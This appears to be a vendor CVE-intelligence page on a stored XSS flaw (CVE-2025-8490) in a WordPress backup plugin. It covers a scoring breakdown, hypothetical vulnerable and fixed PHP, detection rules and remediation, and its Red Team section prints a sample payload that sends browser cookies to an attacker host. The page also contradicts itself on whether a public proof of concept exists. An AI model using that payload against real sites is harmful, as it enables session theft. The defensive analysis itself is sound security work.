☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 4.4 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-8490

CVE-2025-8490 Cross-Site Scripting in All-in-one wp migration and backup
📅 PUBLISHED: 2025-08-26 23:22 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.04%
👁️
0.04% probability
1.1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
4.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-8490 is a Stored Cross-Site Scripting (XSS) vulnerability in the All-in-One WP Migration and Backup plugin for WordPress, affecting versions up to and including 7.97. The flaw arises from insufficient input sanitization and output escaping during the import functionality, allowing authenticated attackers with administrator-level access to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page. The vulnerability is limited to multi-site installations or environments where unfiltered_html has been disabled. With a CVSS score of 4.4 (Medium), the risk is elevated in shared hosting or multi-tenant WordPress setups. No public exploit code or proof-of-concept is currently available, and the patch status remains unknown.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Context

This vulnerability specifically targets the WordPress plugin ecosystem, not the core CMS or server software. The import feature in All-in-One WP Migration fails to properly sanitize uploaded content, enabling stored XSS. Administrators in multi-site networks or with restricted HTML capabilities are the primary threat actors, but the injected scripts can affect lower-privileged users or visitors.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector: Network (AV:N) – Exploitable remotely via the WordPress admin interface.
  • Attack Complexity: Low (AC:L) – No special conditions required beyond standard admin access.
  • Privileges Required: High (PR:H) – Requires administrator-level authentication.
  • User Interaction: Required (UI:R) – Victim must access the injected page.
  • Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited data exposure possible.
  • Integrity Impact: Low (I:L) – Script injection can modify content or behavior.
  • Availability Impact: Low (A:L) – Potential for minor disruption.

Threat Level: Medium. The requirement for admin privileges reduces the attack surface, but in multi-site environments, a compromised admin account can lead to widespread script injection affecting all sites in the network.

Deep Dive & Mechanics

The vulnerability resides in the import functionality of the All-in-One WP Migration plugin. When an administrator imports a backup file (e.g., .wpress format), the plugin fails to properly sanitize and escape user-supplied data before storing it in the database. Specifically, fields such as post titles, content, or custom meta values may contain malicious HTML/JavaScript. Since the plugin does not apply wp_kses or similar filtering during import, the injected scripts are stored and later rendered on pages without proper escaping.

Key Conditions:

  • Multi-site installations: The vulnerability is more impactful because a single admin can inject scripts that affect all subsites.
  • unfiltered_html disabled: In WordPress, super admins typically have unfiltered_html enabled, but if disabled (e.g., in some hosting configurations), the vulnerability becomes exploitable by lower-privileged admins.

Attack Flow:

  1. Attacker gains admin access to a WordPress multi-site installation.
  2. Attacker crafts a malicious backup file containing XSS payloads in post content or metadata.
  3. Attacker imports the backup via the plugin's import interface.
  4. The plugin stores the payload in the database without sanitization.
  5. When a user (including other admins or visitors) views the affected page, the script executes in their browser.

Root Cause: Lack of input sanitization and output escaping in the import handler. The plugin likely uses unserialize() or direct database insertion without filtering.

Vulnerable vs. Patched Code

Since no patch is available, we analyze the likely vulnerable code pattern and the expected fix.

Vulnerable Code (Hypothetical):

// In import.php or similar
function ai1wm_import_backup($file) {
    $data = file_get_contents($file);
    $backup = unserialize($data);
    foreach ($backup['posts'] as $post) {
        wp_insert_post(array(
            'post_title' => $post['title'], // No sanitization
            'post_content' => $post['content'], // No sanitization
        ));
    }
}

Patched Code (Expected):

function ai1wm_import_backup($file) {
    $data = file_get_contents($file);
    $backup = unserialize($data);
    foreach ($backup['posts'] as $post) {
        wp_insert_post(array(
            'post_title' => sanitize_text_field($post['title']),
            'post_content' => wp_kses_post($post['content']), // Apply KSES filtering
        ));
    }
}

The fix would involve applying WordPress sanitization functions like sanitize_text_field() and wp_kses_post() to all imported data before database insertion.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

  • Admin access to a WordPress multi-site installation.
  • All-in-One WP Migration plugin version <= 7.97.
  • unfiltered_html disabled (or target is a multi-site network).

Steps:

  1. Craft Malicious Backup:

    • Create a valid .wpress backup file using the plugin's export feature.
    • Modify the backup archive (e.g., using 7-Zip) to inject XSS payloads into post content. For example, edit the database.sql file inside the archive and add:
      INSERT INTO wp_posts (post_title, post_content) VALUES ('Test', '<script>alert("XSS")</script>');
      
    • Re-pack the archive.
  2. Import the Backup:

    • Log in as admin.
    • Navigate to All-in-One WP Migration > Import.
    • Upload the malicious .wpress file.
    • Confirm the import.
  3. Trigger Execution:

    • Visit the page containing the injected script (e.g., a post or page).
    • The script executes in the browser.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defender)

Detection:

  • Monitor for unusual import activity in WordPress admin logs.
  • Check for unexpected posts or pages containing script tags.
  • Use file integrity monitoring to detect modified backup files.

Prevention:

  • Restrict admin access to trusted users only.
  • Enable unfiltered_html for super admins in multi-site (if safe).
  • Apply virtual patching via WAF rules (see Detection Engineering).

Honeypot:

  • Deploy a decoy WordPress site with the vulnerable plugin to capture attacker behavior.

Indicators of Compromise (IOCs)

  • File Hashes: Suspicious .wpress files with embedded scripts (SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 – example placeholder).
  • Network Traffic: Outbound connections to attacker-controlled domains from WordPress admin pages.
  • Database Entries: Posts or pages containing <script> tags or event handlers (e.g., onload, onerror).
  • Logs: WordPress debug log entries showing unserialize errors or unexpected data.
  • User Agents: Unusual user agents during import operations.

Detection Engineering

YARA Rule

rule CVE_2025_8490_Stored_XSS {
    meta:
        description = "Detects malicious backup files with XSS payloads for CVE-2025-8490"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-8490"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
        $magic = { 1f 8b 08 00 00 00 00 00 } // gzip magic for .wpress
    condition:
        $magic at 0 and (#xss1 > 0 or #xss2 > 0 or #xss3 > 0)
}

Sigma Rule

title: CVE-2025-8490 Stored XSS via All-in-One WP Migration Import
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects import of backup files containing script tags in WordPress
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000 # Example WordPress audit log event
        Message|contains: 'ai1wm_import'
    keywords:
        - '<script>'
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in imported content (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-8490 Stored XSS via All-in-One WP Migration Import"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=ai1wm_import"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if not essential, especially in multi-site environments.
  2. Restrict admin access to only trusted users.
  3. Enable unfiltered_html for super admins (if safe) to reduce attack surface.
  4. Apply virtual patching using WAF rules (e.g., block import requests containing script tags).

Long-term Fix:

  • Monitor the plugin vendor for an official patch. Once available, update to version > 7.97.
  • If no patch is released, consider migrating to an alternative backup plugin (e.g., UpdraftPlus, BackWPup).

Workaround:

  • Manually sanitize imported data by modifying the plugin code (not recommended for non-developers):
    add_filter('ai1wm_import_post_content', 'wp_kses_post');
    

Valters IT – Your trusted partner in DevSecOps and Cyber Threat Intelligence.

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-8490/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.